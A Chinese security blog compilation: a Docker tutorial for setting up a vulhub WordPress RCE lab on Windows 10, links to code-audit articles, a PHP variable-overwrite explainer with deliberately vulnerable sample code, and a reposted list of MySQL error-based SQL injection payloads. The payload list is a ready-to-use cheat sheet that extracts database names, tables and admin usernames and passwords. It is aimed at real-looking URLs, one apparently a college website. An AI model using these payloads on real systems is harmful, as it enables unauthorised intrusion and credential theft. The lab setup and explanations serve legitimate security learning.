8057229714

我对Docker的理解

  • docker能让我们信息安全爱好者方便的搭建各种环境,包括创建各种系统镜像容器、搭建各种漏洞靶场的实战环境。
  • 它定义了从单个镜像解放到到容器铺设、容器铺设压缩到单个镜像的一套业内标准。
  • 就好比我们的快递包裹来了,docker可以直接使我们从这一个包裹的打开到拼装成豪华的变形金刚模型全过程的快速完成,当然反过来打包成包裹也是同样的道理。
  • 它的关键字是:虚拟化、沙箱制。

本篇文章助你在Windows10环境下畅玩docker。

环境:Windows10(需要开启Windows10自带虚拟机Hyper-V)

程序:Docker Windows10 官方安装版本

本文不逐一对docker的各种参数进行解析,而是使用3个由浅到深的实例让大家来体验和感悟docker的命令。

安装过程(简单略过)

下载地址:/store.docker.com/editions/community/docker-ce-desktop-windows

注意一点:下载之前需要一个登录docker帐号,这个账号需要翻墙注册,否则无法注册。

因为需要一个人机身份验证,如下图:

安装首先要开启Windows10功能里面的Hyper-V,然后一直点点点登录刚刚注册的账号就可以了。

最后重要的一点是,由于国内网络问题,导致拉取Docker镜像十分缓慢,我们可以需要配置国内的镜像地址来解决,网易的镜像地址:/hub-mirror.c.163.com。

docker配置文件daemon.json,默认路径应该是用户文档下的.docker文件夹:(如果实在找不到,用Everthing搜索一下文件名吧)

测试案例1

如果正常的安装并运行成功,Windows右下角状态栏:(Docker is running)

然后直接CMD或者Powershell运行查看docker版本信息命令:

docker --version

docker运行成功:

拉取并运行测试的docker镜像:

docker run hellow-world

红色箭头第一行:Unable to find image 'hello-world:latest' locally

意为:本地仓库中无法找到hello-world的最新镜像。

红色箭头第二行:latest: Pulling from library/hello-world

意为:拉取远程公共仓库的镜像

之后输出的内容则是此镜像的运行效果,由于是官方的测试文件,仅有输出功能,表示你已经成功拉取镜像并且搭建成功。

我们本地仓库原本没有hello-world镜像,但是我们直接运行了docker run hello-world,这会导致docker无法在本地仓库中使用,而是默认下载远程仓库的镜像。

其实docker run hello-world此命令原本应分为两部分,分别是:

docker pull hello-world

和

docker run hello-world

既然是在远程仓库中拉取镜像,那么docker是拉取的哪个镜像呢?拉取之后又存放在哪里的呢?运行

docker search hello-world

可见,上图就是docker在远程仓库中搜索到的有关于hello-world的内容,而第一个就是我们刚刚拉取的官方的hello-world镜像了。

查看本地仓库中的所有镜像:

docker images

这条命令就是查看所有本地仓库存在的镜像了。

测试案例2

第二个案例是,尝试使用 docker 构建一个 web 应用程序。

在docker容器中运行一个 Python Flask 应用来运行一个web应用。

docker pull training/webapp
docker run -d -P training/webapp python app.py

由于我之前pull过training/webapp,所以再次pull就会显示:Already exists,已经存在过了。

看一下第二条命令行,这里docker run之后跟了两个参数:-d -P

-d:表示后台运行镜像文件
-P:表示将镜像的端口映射到本机(localhost)的随机端口

运行结束之后,返回一长串16进制字符串,表示此运行镜像的唯一标志ID。

查看所有后台运行的镜像:

docker ps

返回结果:

C:\Users\Aedoo>docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                     NAMES
e598d5cd8f24        training/webapp     "python app.py"     About an hour ago   Up About an hour    0.0.0.0:32769->5000/tcp   condescending_haibt

下面解读一下各项状态的含义:

CONTAINER ID:唯一标志ID,也就是刚刚运行结束返回16进制字符串的前12位
IMAGE:运行的本地仓库的镜像名
COMMAND:镜像中运行的命令
CREATED:创建时间
STATUS:运行状态
PORTS:端口映射情况
NAMES:随机生成的唯一容器名称

那么,此时有着容器唯一标志ID:e598d5cd8f24,镜像名称为training/webapp,运行着命令"python app.py"并且映射到本机端口32679的Python Web应用已经运行成功了。

我们来访问一下127.0.0.1:32679:

已经成功搭建。

WordPress漏洞搭建实例

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

vulhub项目地址:/github.com/vulhub/vulhub

vulhub可以使用docker-compose命令进行一键搭建漏洞环境,感兴趣的小伙伴可以去该项目去看一看。

本次漏洞搭建实例仅使用vulhub在docker store中的一个关于WordPress的漏洞。

docker search vulhub

可以看到第二个是关于 Wordpress 4.6 任意命令执行漏洞的镜像。我们pull下来:

docker pull vulhub/wordpress-4.6-rce

在搭建此容器之前,我们使用命令查看一下此镜像的配置文件,命令为:

docker image inspect vulhub/wordpress-4.6-rce

其中部分配置信息为:

"ArgsEscaped": true,
 "Image": "sha256:3e2ba37613d6d6c0ab83f2cd1f2e2d8121a495e50cadb9f128999d71f14fb753",
 "Volumes": null,
 "WorkingDir": "/var/www/html",
 "Entrypoint": [
    "/usr/local/bin/docker-entrypoint.sh"
 ],

其中"WorkingDir": "/var/www/html"表示此Web应用在Hyper-V虚拟机中的路径,我们先记住此路径,接下来搭建时有用。

然后运行命令搭建运行:

docker run -d -p 81:80 -v D:/docker/wordpress:/var/www/html vulhub/wordpress-4.6-rce

-d、-p参数在上面的搭建实例中已经涉及,-v参数的作用想必大家已经明白了,就是将虚拟机中的Web应用的路径映射到我们Windows10本机的D:/docker/wordpress文件夹,此文件夹必须要提前建立好,而且必要的话,需要关闭Windows Defender防火墙。

成功映射到我们D盘。

访问127.0.0.1:80

接下来就可以愉快的复现漏洞咯~~~并且可以根据磁盘映射文件对源代码进行审计、修改等。

容器使用完毕的一点清理工作

查看运行中的docker容器:

docker ps

如果你的漏洞复现完毕,容器已经失去利用价值,记得停止:

docker stop ac21d7e000be

查看所有运行过的docker容器:(包括stop停止的)

docker ps -a

已停止的docker容器可以使用命令docker start ac21d7e000be再次激活,如果想要彻底删除,停止之后使用命令:

docker rm ac21d7e000be

*参考:

  • /baike.baidu.com/item/Docker/13344470?fr=aladdin
  • /store.docker.com/
  • /www.runoob.com/docker/docker-architecture.html
  • /www.runoob.com/docker/docker-command-manual.html

[原创]Python原创工具贴

本人在i春秋发布的原创文章,直接放上链接~
/bbs.ichunqiu.com/thread-31814-1-1.html

/bbs.ichunqiu.com/thread-32916-1-1.html

[原创]代码审计实战文章(不定期更新)

本人在ichunqiu社区发表的文章,适合代码审计新手练习。
不定期更新,链接会更新在此文章中。

XDCMS v2.0.8 SQL显错注入:
/bbs.ichunqiu.com/thread-30059-1-1.html

BlueCMS v1.6 Union注入:
3162892611

BlueCMS v1.6 宽字节注入:
/bbs.ichunqiu.com/thread-30266-1-1.html

EasyTalk x2.4 SQL注入:
/bbs.ichunqiu.com/thread-30502-1-1.html

Simple-Log v1.6 安装逻辑问题:
/bbs.ichunqiu.com/thread-30784-1-1.html

代码审计之变量覆盖

本文简介变量覆盖的三种成因。

1.foreach遍历
附上测试源码:

<?php
$a = "Original";
foreach (array('_GET','_POST') as $request){
    foreach ($$request as $k => $v){
        $$k = $v;
    }
}
echo $a;
?>

用于使用了双$符号,如果URL为:

/localhost/test.php?a=1

这样变量a最终会被覆盖为1。
最终:

$a=1

2.extract()函数
此函数需要一个必需输入和两个可选输入。
必需输入为一个数组,如果两个可选输入不输入的话,就会执行函数的基本功能,不会考虑其他因素。
所以当函数格式为下述时:

extract(array('a'=>'1'));

会将变量a赋值为1,也就是:

$a=1

如果变量a在前面的代码中被定义并赋值过,就会产生变量覆盖漏洞。

3.parse_str()函数
parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量。

<?php
$a = 1;    /原变量值为1
parse_str('a=2');   /经过parse_str()函数后注册变量$a,重新赋值
print_r($a);  /输出结果为2
?>

所以当变量a提前赋值后,再调用此函数,就会产生变量覆盖漏洞。

变量覆盖也不仅限于这几种情况,存在$$符号的地方就可能会存在变量覆盖。

[转载]MySQL显错注入的几个Payload

1、通过floor暴错
/数据库版本/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/简单办法暴库/
/www.waitalone.cn/sql.php?id=info()
/连接用户/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/连接数据库/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/暴库/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/暴表/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/暴字段/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/暴内容/

/www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

/www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
/www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

/www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
/www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

/wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

5、Error based Double Query Injection (/www.vaibs.in/error-based-double-query-injection/)

/数据库版本/

/www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

转载于:aguavina